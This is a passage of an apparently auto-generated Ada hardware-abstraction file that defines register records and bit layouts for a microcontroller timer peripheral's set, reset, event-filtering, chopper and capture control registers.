with Unchecked_Union, Size => 10;
for SETE1R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output1 Set Register
type SETE1R_Register is record
-- Software Set trigger
SST : Boolean := False;
-- Timer A resynchronizaton
RESYNC : Boolean := False;
-- Timer A Period
PER : Boolean := False;
-- Timer A compare 1
CMP : SETE1R_CMP_Field := (As_Array => False, Val => 16#0#);
-- Master Period
MSTPER : Boolean := False;
-- Master Compare 1
MSTCMP : SETE1R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- Timer Event 1
TIMEVNT : SETE1R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- External Event 1
EXTEVNT : SETE1R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- Registers update (transfer preload to active)
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for SETE1R_Register use record
SST at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
-- RSTE1R_CMP array
type RSTE1R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTE1R_CMP
type RSTE1R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : RSTE1R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTE1R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTE1R_MSTCMP array
type RSTE1R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTE1R_MSTCMP
type RSTE1R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : RSTE1R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTE1R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTE1R_TIMEVNT array
type RSTE1R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for RSTE1R_TIMEVNT
type RSTE1R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : RSTE1R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for RSTE1R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- RSTE1R_EXTEVNT array
type RSTE1R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for RSTE1R_EXTEVNT
type RSTE1R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : RSTE1R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for RSTE1R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output1 Reset Register
type RSTE1R_Register is record
-- SRT
SRT : Boolean := False;
-- RESYNC
RESYNC : Boolean := False;
-- PER
PER : Boolean := False;
-- CMP1
CMP : RSTE1R_CMP_Field := (As_Array => False, Val => 16#0#);
-- MSTPER
MSTPER : Boolean := False;
-- MSTCMP1
MSTCMP : RSTE1R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- TIMEVNT1
TIMEVNT : RSTE1R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- EXTEVNT1
EXTEVNT : RSTE1R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- UPDATE
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for RSTE1R_Register use record
SRT at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
-- SETE2R_CMP array
type SETE2R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETE2R_CMP
type SETE2R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : SETE2R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETE2R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETE2R_MSTCMP array
type SETE2R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETE2R_MSTCMP
type SETE2R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : SETE2R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETE2R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETE2R_TIMEVNT array
type SETE2R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for SETE2R_TIMEVNT
type SETE2R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : SETE2R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for SETE2R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- SETE2R_EXTEVNT array
type SETE2R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for SETE2R_EXTEVNT
type SETE2R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : SETE2R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for SETE2R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output2 Set Register
type SETE2R_Register is record
-- SST
SST : Boolean := False;
-- RESYNC
RESYNC : Boolean := False;
-- PER
PER : Boolean := False;
-- CMP1
CMP : SETE2R_CMP_Field := (As_Array => False, Val => 16#0#);
-- MSTPER
MSTPER : Boolean := False;
-- MSTCMP1
MSTCMP : SETE2R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- TIMEVNT1
TIMEVNT : SETE2R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- EXTEVNT1
EXTEVNT : SETE2R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- UPDATE
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for SETE2R_Register use record
SST at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
-- RSTE2R_CMP array
type RSTE2R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTE2R_CMP
type RSTE2R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : RSTE2R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTE2R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTE2R_MSTCMP array
type RSTE2R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTE2R_MSTCMP
type RSTE2R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : RSTE2R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTE2R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTE2R_TIMEVNT array
type RSTE2R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for RSTE2R_TIMEVNT
type RSTE2R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : RSTE2R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for RSTE2R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- RSTE2R_EXTEVNT array
type RSTE2R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for RSTE2R_EXTEVNT
type RSTE2R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : RSTE2R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for RSTE2R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output2 Reset Register
type RSTE2R_Register is record
-- SRT
SRT : Boolean := False;
-- RESYNC
RESYNC : Boolean := False;
-- PER
PER : Boolean := False;
-- CMP1
CMP : RSTE2R_CMP_Field := (As_Array => False, Val => 16#0#);
-- MSTPER
MSTPER : Boolean := False;
-- MSTCMP1
MSTCMP : RSTE2R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- TIMEVNT1
TIMEVNT : RSTE2R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- EXTEVNT1
EXTEVNT : RSTE2R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- UPDATE
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for RSTE2R_Register use record
SRT at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
subtype EEFER1_EE1FLTR_Field is HAL.UInt4;
subtype EEFER1_EE2FLTR_Field is HAL.UInt4;
subtype EEFER1_EE3FLTR_Field is HAL.UInt4;
subtype EEFER1_EE4FLTR_Field is HAL.UInt4;
subtype EEFER1_EE5FLTR_Field is HAL.UInt4;
-- Timerx External Event Filtering Register 1
type EEFER1_Register is record
-- External Event 1 latch
EE1LTCH : Boolean := False;
-- External Event 1 filter
EE1FLTR : EEFER1_EE1FLTR_Field := 16#0#;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- External Event 2 latch
EE2LTCH : Boolean := False;
-- External Event 2 filter
EE2FLTR : EEFER1_EE2FLTR_Field := 16#0#;
-- unspecified
Reserved_11_11 : HAL.Bit := 16#0#;
-- External Event 3 latch
EE3LTCH : Boolean := False;
-- External Event 3 filter
EE3FLTR : EEFER1_EE3FLTR_Field := 16#0#;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
-- External Event 4 latch
EE4LTCH : Boolean := False;
-- External Event 4 filter
EE4FLTR : EEFER1_EE4FLTR_Field := 16#0#;
-- unspecified
Reserved_23_23 : HAL.Bit := 16#0#;
-- External Event 5 latch
EE5LTCH : Boolean := False;
-- External Event 5 filter
EE5FLTR : EEFER1_EE5FLTR_Field := 16#0#;
-- unspecified
Reserved_29_31 : HAL.UInt3 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EEFER1_Register use record
EE1LTCH at 0 range 0 .. 0;
EE1FLTR at 0 range 1 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
EE2LTCH at 0 range 6 .. 6;
EE2FLTR at 0 range 7 .. 10;
Reserved_11_11 at 0 range 11 .. 11;
EE3LTCH at 0 range 12 .. 12;
EE3FLTR at 0 range 13 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
EE4LTCH at 0 range 18 .. 18;
EE4FLTR at 0 range 19 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
EE5LTCH at 0 range 24 .. 24;
EE5FLTR at 0 range 25 .. 28;
Reserved_29_31 at 0 range 29 .. 31;
end record;
subtype EEFER2_EE6FLTR_Field is HAL.UInt4;
subtype EEFER2_EE7FLTR_Field is HAL.UInt4;
subtype EEFER2_EE8FLTR_Field is HAL.UInt4;
subtype EEFER2_EE9FLTR_Field is HAL.UInt4;
subtype EEFER2_EE10FLTR_Field is HAL.UInt4;
-- Timerx External Event Filtering Register 2
type EEFER2_Register is record
-- External Event 6 latch
EE6LTCH : Boolean := False;
-- External Event 6 filter
EE6FLTR : EEFER2_EE6FLTR_Field := 16#0#;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- External Event 7 latch
EE7LTCH : Boolean := False;
-- External Event 7 filter
EE7FLTR : EEFER2_EE7FLTR_Field := 16#0#;
-- unspecified
Reserved_11_11 : HAL.Bit := 16#0#;
-- External Event 8 latch
EE8LTCH : Boolean := False;
-- External Event 8 filter
EE8FLTR : EEFER2_EE8FLTR_Field := 16#0#;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
-- External Event 9 latch
EE9LTCH : Boolean := False;
-- External Event 9 filter
EE9FLTR : EEFER2_EE9FLTR_Field := 16#0#;
-- unspecified
Reserved_23_23 : HAL.Bit := 16#0#;
-- External Event 10 latch
EE10LTCH : Boolean := False;
-- External Event 10 filter
EE10FLTR : EEFER2_EE10FLTR_Field := 16#0#;
-- unspecified
Reserved_29_31 : HAL.UInt3 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EEFER2_Register use record
EE6LTCH at 0 range 0 .. 0;
EE6FLTR at 0 range 1 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
EE7LTCH at 0 range 6 .. 6;
EE7FLTR at 0 range 7 .. 10;
Reserved_11_11 at 0 range 11 .. 11;
EE8LTCH at 0 range 12 .. 12;
EE8FLTR at 0 range 13 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
EE9LTCH at 0 range 18 .. 18;
EE9FLTR at 0 range 19 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
EE10LTCH at 0 range 24 .. 24;
EE10FLTR at 0 range 25 .. 28;
Reserved_29_31 at 0 range 29 .. 31;
end record;
-- RSTER_CMP array
type RSTER_CMP_Field_Array is array (2 .. 3) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for RSTER_CMP
type RSTER_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt2;
when True =>
-- CMP as an array
Arr : RSTER_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for RSTER_CMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- RSTER_MSTCMP array
type RSTER_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTER_MSTCMP
type RSTER_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : RSTER_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTER_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTER_EXTEVNT array
type RSTER_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for RSTER_EXTEVNT
type RSTER_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : RSTER_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for RSTER_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- RSTER_TIMACMP array
type RSTER_TIMACMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTER_TIMACMP
type RSTER_TIMACMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMACMP as a value
Val : HAL.UInt3;
when True =>
-- TIMACMP as an array
Arr : RSTER_TIMACMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTER_TIMACMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- RSTER_TIMBCMP array
type RSTER_TIMBCMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTER_TIMBCMP
type RSTER_TIMBCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMBCMP as a value
Val : HAL.UInt3;
when True =>
-- TIMBCMP as an array
Arr : RSTER_TIMBCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTER_TIMBCMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- RSTER_TIMCCMP array
type RSTER_TIMCCMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTER_TIMCCMP
type RSTER_TIMCCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMCCMP as a value
Val : HAL.UInt3;
when True =>
-- TIMCCMP as an array
Arr : RSTER_TIMCCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTER_TIMCCMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- RSTER_TIMDCMP array
type RSTER_TIMDCMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTER_TIMDCMP
type RSTER_TIMDCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMDCMP as a value
Val : HAL.UInt3;
when True =>
-- TIMDCMP as an array
Arr : RSTER_TIMDCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTER_TIMDCMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- TimerA Reset Register
type RSTER_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- Timer A Update reset
UPDT : Boolean := False;
-- Timer A compare 2 reset
CMP : RSTER_CMP_Field := (As_Array => False, Val => 16#0#);
-- Master timer Period
MSTPER : Boolean := False;
-- Master compare 1
MSTCMP : RSTER_MSTCMP_Field :=
(As_Array => False, Val => 16#0#);
-- External Event 1
EXTEVNT : RSTER_EXTEVNT_Field :=
(As_Array => False, Val => 16#0#);
-- Timer A Compare 1
TIMACMP : RSTER_TIMACMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer B Compare 1
TIMBCMP : RSTER_TIMBCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer C Compare 1
TIMCCMP : RSTER_TIMCCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer D Compare 1
TIMDCMP : RSTER_TIMDCMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_31_31 : HAL.Bit := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for RSTER_Register use record
Reserved_0_0 at 0 range 0 .. 0;
UPDT at 0 range 1 .. 1;
CMP at 0 range 2 .. 3;
MSTPER at 0 range 4 .. 4;
MSTCMP at 0 range 5 .. 8;
EXTEVNT at 0 range 9 .. 18;
TIMACMP at 0 range 19 .. 21;
TIMBCMP at 0 range 22 .. 24;
TIMCCMP at 0 range 25 .. 27;
TIMDCMP at 0 range 28 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
subtype CHPER_CHPFRQ_Field is HAL.UInt4;
subtype CHPER_CHPDTY_Field is HAL.UInt3;
subtype CHPER_STRTPW_Field is HAL.UInt4;
-- Timerx Chopper Register
type CHPER_Register is record
-- Timerx carrier frequency value
CHPFRQ : CHPER_CHPFRQ_Field := 16#0#;
-- Timerx chopper duty cycle value
CHPDTY : CHPER_CHPDTY_Field := 16#0#;
-- STRTPW
STRTPW : CHPER_STRTPW_Field := 16#0#;
-- unspecified
Reserved_11_31 : HAL.UInt21 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CHPER_Register use record
CHPFRQ at 0 range 0 .. 3;
CHPDTY at 0 range 4 .. 6;
STRTPW at 0 range 7 .. 10;
Reserved_11_31 at 0 range 11 .. 31;
end record;
-- CPT1ECR_TACMP array
type CPT1ECR_TACMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1ECR_TACMP
type CPT1ECR_TACMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TACMP as a value
Val : HAL.UInt2;
when True =>
-- TACMP as an array
Arr : CPT1ECR_TACMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1ECR_TACMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT1ECR_TBCMP array
type CPT1ECR_TBCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1ECR_TBCMP
type CPT1ECR_TBCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TBCMP as a value
Val : HAL.UInt2;
when True =>
-- TBCMP as an array
Arr : CPT1ECR_TBCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1ECR_TBCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT1ECR_TCCMP array
type CPT1ECR_TCCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1ECR_TCCMP
type CPT1ECR_TCCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TCCMP as a value
Val : HAL.UInt2;
when True =>
-- TCCMP as an array
Arr : CPT1ECR_TCCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1ECR_TCCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT1ECR_TDCMP array
type CPT1ECR_TDCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1ECR_TDCMP
type CPT1ECR_TDCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TDCMP as a value
Val : HAL.UInt2;
when True =>
-- TDCMP as an array
Arr : CPT1ECR_TDCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1ECR_TDCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- Timerx Capture 2 Control Register
type CPT1ECR_Register is record
-- Software Capture
SWCPT : Boolean := False;
-- Update Capture
UDPCPT : Boolean := False;
-- External Event 1 Capture
EXEV1CPT : Boolean := False;
-- External Event 2 Capture
EXEV2CPT : Boolean := False;
-- External Event 3 Capture
EXEV3CPT : Boolean := False;
-- External Event 4 Capture
EXEV4CPT : Boolean := False;
-- External Event 5 Capture
EXEV5CPT : Boolean := False;
-- External Event 6 Capture
EXEV6CPT : Boolean := False;
-- External Event 7 Capture
EXEV7CPT : Boolean := False;
-- External Event 8 Capture
EXEV8CPT : Boolean := False;
-- External Event 9 Capture
EXEV9CPT : Boolean := False;
-- External Event 10 Capture
EXEV10CPT : Boolean := False;
-- Timer A output 1 Set
TA1SET : Boolean := False;
-- Timer A output 1 Reset
TA1RST : Boolean := False;
-- Timer A Compare 1
TACMP : CPT1ECR_TACMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer B output 1 Set
TB1SET : Boolean := False;
-- Timer B output 1 Reset
TB1RST : Boolean := False;
-- Timer B Compare 1
TBCMP : CPT1ECR_TBCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer C output 1 Set
TC1SET : Boolean := False;
-- Timer C output 1 Reset
TC1RST : Boolean := False;
-- Timer C Compare 1
TCCMP : CPT1ECR_TCCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer D output 1 Set
TD1SET : Boolean := False;
-- Timer D output 1 Reset
TD1RST : Boolean := False;
-- Timer D Compare 1
TDCMP : CPT1ECR_TDCMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_28_31 : HAL.UInt4 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT1ECR_Register use record
SWCPT at 0 range 0 .. 0;
UDPCPT at 0 range 1 .. 1;
EXEV1CPT at 0 range 2 .. 2;
EXEV2CPT at 0 range 3 .. 3;
EXEV3CPT at 0 range 4 .. 4;
EXEV4CPT at 0 range 5 .. 5;
EXEV5CPT at 0 range 6 .. 6;
EXEV6CPT at 0 range 7 .. 7;
EXEV7CPT at 0 range 8 .. 8;
EXEV8CPT at 0 range 9 .. 9;
EXEV9CPT at 0 range 10 .. 10;
EXEV10CPT at 0 range 11 .. 11;
TA1SET at 0 range 12 .. 12;
TA1RST at 0 range 13 .. 13;
TACMP at 0 range 14 .. 15;
TB1SET at 0 range 16 .. 16;
TB1RST at 0 range 17 .. 17;
TBCMP at 0 range 18 .. 19;
TC1SET at 0 range 20 .. 20;
TC1RST at 0 range 21 .. 21;
TCCMP at 0 range 22 .. 23;
TD1SET at 0 range 24 .. 24;
TD1RST at 0 range 25 .. 25;
TDCMP at 0 range 26 .. 27;
Reserved_28_31 at 0 range 28 .. 31;
end record;
-- CPT2ECR_TACMP array
type CPT2ECR_TACMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2ECR_TACMP
type CPT2ECR_TACMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TACMP as a value
Val : HAL.UInt2;
when True =>
-- TACMP as an array
Arr : CPT2ECR_TACMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2ECR_TACMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2ECR_TBCMP array
type CPT2ECR_TBCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2ECR_TBCMP
type CPT2ECR_TBCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TBCMP as a value
Val : HAL.UInt2;
when True =>
-- TBCMP as an array
Arr : CPT2ECR_TBCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2ECR_TBCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2ECR_TCCMP array
type CPT2ECR_TCCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2ECR_TCCMP
type CPT2ECR_TCCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TCCMP as a value
Val : HAL.UInt2;
when True =>
-- TCCMP as an array
Arr : CPT2ECR_TCCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2ECR_TCCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2ECR_TDCMP array
type CPT2ECR_TDCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2ECR_TDCMP
type CPT2ECR_TDCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TDCMP as a value
Val : HAL.UInt2;
when True =>
-- TDCMP as an array
Arr : CPT2ECR_TDCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2ECR_TDCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2xCR
type CPT2ECR_Register is record
-- Software Capture
SWCPT : Boolean := False;
-- Update Capture
UDPCPT : Boolean := False;
-- External Event 1 Capture
EXEV1CPT : Boolean := False;
-- External Event 2 Capture
EXEV2CPT : Boolean := False;
-- External Event 3 Capture
EXEV3CPT : Boolean := False;
-- External Event 4 Capture
EXEV4CPT : Boolean := False;
-- External Event 5 Capture
EXEV5CPT : Boolean := False;
-- External Event 6 Capture
EXEV6CPT : Boolean := False;
-- External Event 7 Capture
EXEV7CPT : Boolean := False;
-- External Event 8 Capture
EXEV8CPT : Boolean := False;
-- External Event 9 Capture
EXEV9CPT : Boolean := False;
-- External Event 10 Capture
